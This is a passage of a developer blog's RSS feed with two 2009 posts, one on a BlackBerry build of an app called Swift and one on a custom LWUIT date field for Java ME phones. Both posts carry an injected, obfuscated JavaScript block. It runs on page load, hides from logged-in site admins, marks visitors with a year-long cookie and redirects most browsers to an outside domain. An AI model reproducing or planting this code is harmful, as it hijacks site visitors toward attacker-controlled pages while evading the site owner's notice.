		</item>
		<item>
		<title>Swift for Blackberry</title>
		<link>http://bluetrail.co.uk/2009/09/swift-for-blackberry/</link>
		<comments>http://bluetrail.co.uk/2009/09/swift-for-blackberry/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 18:44:02 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[LWUIT]]></category>
		<category><![CDATA[Swift]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=150</guid>
		<description><![CDATA[We have been working hard on a Blackberry build for Swift.  It is a tough development environment and was tricky to get the camera going.  Here is a screen grab from the emulator.
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>We have been working hard on a Blackberry build for <a href="http://bluetrail.co.uk/swift/">Swift</a>.  It is a tough development environment and was tricky to get the camera going.  Here is a screen grab from the emulator.</p>
<p><img class="alignnone size-full wp-image-151" title="blackberry-image" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/blackberry-image.png" alt="blackberry-image" width="474" height="665" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/09/swift-for-blackberry/feed/</wfw:commentRss>
		<slash:comments>432</slash:comments>
		</item>
		<item>
		<title>LWUIT DateField and other bits</title>
		<link>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/</link>
		<comments>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 11:13:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=83</guid>
		<description><![CDATA[We missed having a DateField in LWUIT, the Calendar is a great start but it looked a little strange on some phones and we needed something simpler, not to mention a time field.
To do this we extended the TextArea class to create our own MobrizDateField.  When the user clicks on this the system fires up a [...]]]></description>
			<content:encoded><![CDATA[<p>We missed having a DateField in LWUIT, the Calendar is a great start but it looked a little strange on some phones and we needed something simpler, not to mention a time field.</p>
<p>To do this we extended the <strong>TextArea</strong> class to create our own <strong>MobrizDateField</strong>.  When the user clicks on this the system fires up a standard LCDUI form with a DateField on it (DateForm).  The user can then use the native time/date features of the phone to complete the date/time</p>
<p>To tell LWUIT to intercept the DateField calls  we extended the <strong>GameCanvasImplementation</strong> to create our own <strong>MobrizMidpImplementation</strong>.  This overrides the editString method and launches the <strong>DateForm</strong> if the MobrizDateField is being used.  We needed a <strong>MobrizImplementationFactory</strong> to deliver this too.</p>
<p>To tell LWUIT to use the new MobrizMidpImplementation add the following to your code where you initailise the UI.</p>
<p><code><br />
..<br />
ImplementationFactory.setInstance(new MobrizImplementationFactory());<br />
Display.init(this.mobrizMidlet);<br />
..<br />
</code></p>
<p>Use the new MobrizDateField just like a TextArea:</p>
<p><code><br />
..<br />
MobrizDateField timeField = new MobrizDateField(dtLong + "", 10,MobrizDateField.TIME, "");<br />
form.addComponent(timeField) ;<br />
..<br />
</code></p>
<p>Things to note:</p>
<ul>
<li>The MobrizDateField takes a string or a long expressed as a string in the constructor .. this is a bit crap but suited us for our app.   you may want to change it match to LCDUI datefield exactly.</li>
<li>The MobrizDateField actually extends MobrizTextArea which is a TextArea that responds to any key press.</li>
</ul>
<p>Would welcome any comments or improvments!!!</p>
<p>As ever this code is provided without warranty &#8211; user at you own risk.</p>
<p>Here is the <a href="http://bluetrail.co.uk/wp-content/uploads/2009/06/lwuitdatefield.zip">source</a><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/feed/</wfw:commentRss>
		<slash:comments>449</slash:comments>
		</item>
	</channel>
</rss>
